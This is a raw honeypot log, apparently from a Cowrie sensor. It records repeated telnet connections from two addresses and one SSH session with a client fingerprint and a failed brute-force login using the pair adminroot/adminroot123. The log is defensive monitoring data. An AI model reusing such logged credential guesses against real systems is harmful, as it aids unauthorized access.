{"eventid":"cowrie.session.closed","duration":30.994059085845947,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:30.154800Z","src_ip":"64.237.60.107","session":"988ddb994c8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.967952728271484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:30.308758Z","src_ip":"64.237.60.107","session":"b5316c950f28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.835516691207886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:31.195972Z","src_ip":"64.237.60.107","session":"ad322152452e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":52652,"dst_ip":"10.17.0.5","dst_port":23,"session":"b33c3f87bf6a","protocol":"telnet","message":"New connection: 45.77.199.58:52652 (10.17.0.5:23) [session: b33c3f87bf6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:31.315413Z"}
{"eventid":"cowrie.session.closed","duration":30.879934549331665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:32.223051Z","src_ip":"64.237.60.107","session":"a2b17c983f9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20753812789917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:32.928874Z","src_ip":"64.237.60.107","session":"e75826185d77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81358051300049,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:33.172051Z","src_ip":"64.237.60.107","session":"6497e23fc4ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.837066888809204,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:34.174652Z","src_ip":"64.237.60.107","session":"bbb50ca8cfad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.115330457687378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:34.396492Z","src_ip":"64.237.60.107","session":"7a8e66ed18df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":35286,"dst_ip":"10.17.0.5","dst_port":23,"session":"03c3e55b557e","protocol":"telnet","message":"New connection: 64.237.60.107:35286 (10.17.0.5:23) [session: 03c3e55b557e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:34.537596Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":35290,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3b54bce2a57","protocol":"telnet","message":"New connection: 64.237.60.107:35290 (10.17.0.5:23) [session: c3b54bce2a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:35.507170Z"}
{"eventid":"cowrie.session.closed","duration":30.952406406402588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:36.136544Z","src_ip":"64.237.60.107","session":"02514d699971","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":35292,"dst_ip":"10.17.0.5","dst_port":23,"session":"f812d1cee344","protocol":"telnet","message":"New connection: 64.237.60.107:35292 (10.17.0.5:23) [session: f812d1cee344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:36.182956Z"}
{"eventid":"cowrie.session.closed","duration":30.975307941436768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:36.200767Z","src_ip":"64.237.60.107","session":"3f39c2d3d6ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44054,"dst_ip":"10.17.0.5","dst_port":23,"session":"df681bf0a9e8","protocol":"telnet","message":"New connection: 64.237.60.107:44054 (10.17.0.5:23) [session: df681bf0a9e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:36.868503Z"}
{"eventid":"cowrie.session.closed","duration":30.38416600227356,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:37.124299Z","src_ip":"45.77.199.58","session":"2b90fe2895dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.66187572479248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:37.895212Z","src_ip":"45.77.199.58","session":"0100aeb644de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83721923828125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:38.113150Z","src_ip":"64.237.60.107","session":"79714a8317b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":41058,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d1a1e9e8a35","protocol":"telnet","message":"New connection: 45.77.199.58:41058 (10.17.0.5:23) [session: 2d1a1e9e8a35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:38.119640Z"}
{"eventid":"cowrie.session.closed","duration":31.022398948669434,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:38.758262Z","src_ip":"64.237.60.107","session":"22beed751581","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44066,"dst_ip":"10.17.0.5","dst_port":23,"session":"de7eb3717796","protocol":"telnet","message":"New connection: 64.237.60.107:44066 (10.17.0.5:23) [session: de7eb3717796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:39.234641Z"}
{"eventid":"cowrie.session.closed","duration":30.77358317375183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:39.251472Z","src_ip":"64.237.60.107","session":"850652d4206d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44082,"dst_ip":"10.17.0.5","dst_port":23,"session":"5817432947e1","protocol":"telnet","message":"New connection: 64.237.60.107:44082 (10.17.0.5:23) [session: 5817432947e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:39.259999Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44098,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8e3e2039d70","protocol":"telnet","message":"New connection: 64.237.60.107:44098 (10.17.0.5:23) [session: e8e3e2039d70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:39.300794Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44102,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b38aff69cc9","protocol":"telnet","message":"New connection: 64.237.60.107:44102 (10.17.0.5:23) [session: 8b38aff69cc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:39.341850Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44110,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c222e4fb068","protocol":"telnet","message":"New connection: 64.237.60.107:44110 (10.17.0.5:23) [session: 1c222e4fb068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:39.401846Z"}
{"eventid":"cowrie.session.closed","duration":31.205958127975464,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:39.865134Z","src_ip":"64.237.60.107","session":"c18a1524b966","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.930585145950317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:40.045985Z","src_ip":"64.237.60.107","session":"d8de35f76eab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44118,"dst_ip":"10.17.0.5","dst_port":23,"session":"02b042094646","protocol":"telnet","message":"New connection: 64.237.60.107:44118 (10.17.0.5:23) [session: 02b042094646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:40.952438Z"}
{"eventid":"cowrie.session.closed","duration":31.609185695648193,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:40.978589Z","src_ip":"64.237.60.107","session":"687e74c82f9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.29003882408142,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:41.037730Z","src_ip":"45.77.199.58","session":"723fb2739ca8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8803493976593,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:41.059722Z","src_ip":"64.237.60.107","session":"05144aa78fb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44132,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca11db9f5636","protocol":"telnet","message":"New connection: 64.237.60.107:44132 (10.17.0.5:23) [session: ca11db9f5636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:41.234882Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54674,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd27c2868ca8","protocol":"ssh","message":"New connection: 159.203.92.129:54674 (159.203.135.109:22) [session: cd27c2868ca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:41.354621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:41.359854Z","src_ip":"159.203.92.129","session":"cd27c2868ca8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.739651918411255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:41.363477Z","src_ip":"64.237.60.107","session":"a3fadbd002ab","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:41.368875Z","src_ip":"159.203.92.129","session":"cd27c2868ca8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminroot","password":"adminroot123","message":"login attempt [adminroot/adminroot123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:41.380457Z","src_ip":"159.203.92.129","session":"cd27c2868ca8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44138,"dst_ip":"10.17.0.5","dst_port":23,"session":"559c9b527463","protocol":"telnet","message":"New connection: 64.237.60.107:44138 (10.17.0.5:23) [session: 559c9b527463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:41.501648Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44150,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3f87bb9235a","protocol":"telnet","message":"New connection: 64.237.60.107:44150 (10.17.0.5:23) [session: f3f87bb9235a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:41.788562Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44152,"dst_ip":"10.17.0.5","dst_port":23,"session":"e967c6119d69","protocol":"telnet","message":"New connection: 64.237.60.107:44152 (10.17.0.5:23) [session: e967c6119d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:42.191565Z"}
{"eventid":"cowrie.session.closed","duration":31.03947877883911,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:42.361375Z","src_ip":"64.237.60.107","session":"105f7ae25c59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:42.389055Z","src_ip":"159.203.92.129","session":"cd27c2868ca8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.20880651473999,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:43.023544Z","src_ip":"45.77.199.58","session":"23dd291d6a32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01844358444214,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:43.061173Z","src_ip":"64.237.60.107","session":"6aca15cbf23d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44168,"dst_ip":"10.17.0.5","dst_port":23,"session":"99755c34ab61","protocol":"telnet","message":"New connection: 64.237.60.107:44168 (10.17.0.5:23) [session: 99755c34ab61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:43.516179Z"}
{"eventid":"cowrie.session.closed","duration":30.769978761672974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:44.018113Z","src_ip":"45.77.199.58","session":"e261fc8a9361","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.133673429489136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:44.297547Z","src_ip":"64.237.60.107","session":"f9c004cc0a75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44170,"dst_ip":"10.17.0.5","dst_port":23,"session":"e407f56a750b","protocol":"telnet","message":"New connection: 64.237.60.107:44170 (10.17.0.5:23) [session: e407f56a750b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:44.403637Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44182,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf208d8cfacc","protocol":"telnet","message":"New connection: 64.237.60.107:44182 (10.17.0.5:23) [session: cf208d8cfacc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:44.498289Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44186,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5971d29bf4e","protocol":"telnet","message":"New connection: 64.237.60.107:44186 (10.17.0.5:23) [session: c5971d29bf4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:44.618970Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44188,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e5745080740","protocol":"telnet","message":"New connection: 64.237.60.107:44188 (10.17.0.5:23) [session: 8e5745080740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:45.011848Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44202,"dst_ip":"10.17.0.5","dst_port":23,"session":"21c6a05efe77","protocol":"telnet","message":"New connection: 64.237.60.107:44202 (10.17.0.5:23) [session: 21c6a05efe77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:45.563974Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":44206,"dst_ip":"10.17.0.5","dst_port":23,"session":"477aeaf4662a","protocol":"telnet","message":"New connection: 64.237.60.107:44206 (10.17.0.5:23) [session: 477aeaf4662a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:46.021094Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":53208,"dst_ip":"10.17.0.5","dst_port":23,"session":"e08c8e0b378f","protocol":"telnet","message":"New connection: 45.77.199.58:53208 (10.17.0.5:23) [session: e08c8e0b378f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:46.095638Z"}
{"eventid":"cowrie.session.closed","duration":31.130765438079834,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:46.362743Z","src_ip":"64.237.60.107","session":"1ca594679047","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39408,"dst_ip":"10.17.0.5","dst_port":23,"session":"31a1f25f1613","protocol":"telnet","message":"New connection: 64.237.60.107:39408 (10.17.0.5:23) [session: 31a1f25f1613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:47.209253Z"}
{"eventid":"cowrie.session.closed","duration":31.07762575149536,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:47.214451Z","src_ip":"45.77.199.58","session":"fd8da923e06a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15600061416626,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:47.431932Z","src_ip":"64.237.60.107","session":"4b695d96f77c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39422,"dst_ip":"10.17.0.5","dst_port":23,"session":"dac0b2247157","protocol":"telnet","message":"New connection: 64.237.60.107:39422 (10.17.0.5:23) [session: dac0b2247157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:47.463175Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39436,"dst_ip":"10.17.0.5","dst_port":23,"session":"795c65ea0df0","protocol":"telnet","message":"New connection: 64.237.60.107:39436 (10.17.0.5:23) [session: 795c65ea0df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:47.660536Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39440,"dst_ip":"10.17.0.5","dst_port":23,"session":"8998f2718b6d","protocol":"telnet","message":"New connection: 64.237.60.107:39440 (10.17.0.5:23) [session: 8998f2718b6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:48.556609Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39444,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ad131786f99","protocol":"telnet","message":"New connection: 64.237.60.107:39444 (10.17.0.5:23) [session: 6ad131786f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:48.736297Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39446,"dst_ip":"10.17.0.5","dst_port":23,"session":"46dac9b89aab","protocol":"telnet","message":"New connection: 64.237.60.107:39446 (10.17.0.5:23) [session: 46dac9b89aab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:49.226669Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39458,"dst_ip":"10.17.0.5","dst_port":23,"session":"f36981133fe7","protocol":"telnet","message":"New connection: 64.237.60.107:39458 (10.17.0.5:23) [session: f36981133fe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:49.302885Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39464,"dst_ip":"10.17.0.5","dst_port":23,"session":"d95c5423c2af","protocol":"telnet","message":"New connection: 64.237.60.107:39464 (10.17.0.5:23) [session: d95c5423c2af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:49.325001Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39480,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e8b82b6bbe0","protocol":"telnet","message":"New connection: 64.237.60.107:39480 (10.17.0.5:23) [session: 3e8b82b6bbe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:49.584385Z"}
{"eventid":"cowrie.session.closed","duration":30.857367992401123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:50.163665Z","src_ip":"45.77.199.58","session":"0db9e4cfa607","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39486,"dst_ip":"10.17.0.5","dst_port":23,"session":"52af2cba1b29","protocol":"telnet","message":"New connection: 64.237.60.107:39486 (10.17.0.5:23) [session: 52af2cba1b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:50.171144Z"}
{"eventid":"cowrie.session.closed","duration":31.103034257888794,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:50.236609Z","src_ip":"64.237.60.107","session":"bdde206d70e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39488,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c01b2b4bd3a","protocol":"telnet","message":"New connection: 64.237.60.107:39488 (10.17.0.5:23) [session: 1c01b2b4bd3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:50.376791Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39498,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0672738fc74","protocol":"telnet","message":"New connection: 64.237.60.107:39498 (10.17.0.5:23) [session: b0672738fc74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:50.627581Z"}
{"eventid":"cowrie.session.closed","duration":30.761890649795532,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:51.218510Z","src_ip":"64.237.60.107","session":"5b69badddc93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26365828514099,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:51.453197Z","src_ip":"64.237.60.107","session":"60836fcccf08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39502,"dst_ip":"10.17.0.5","dst_port":23,"session":"433511a86796","protocol":"telnet","message":"New connection: 64.237.60.107:39502 (10.17.0.5:23) [session: 433511a86796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:52.125411Z"}
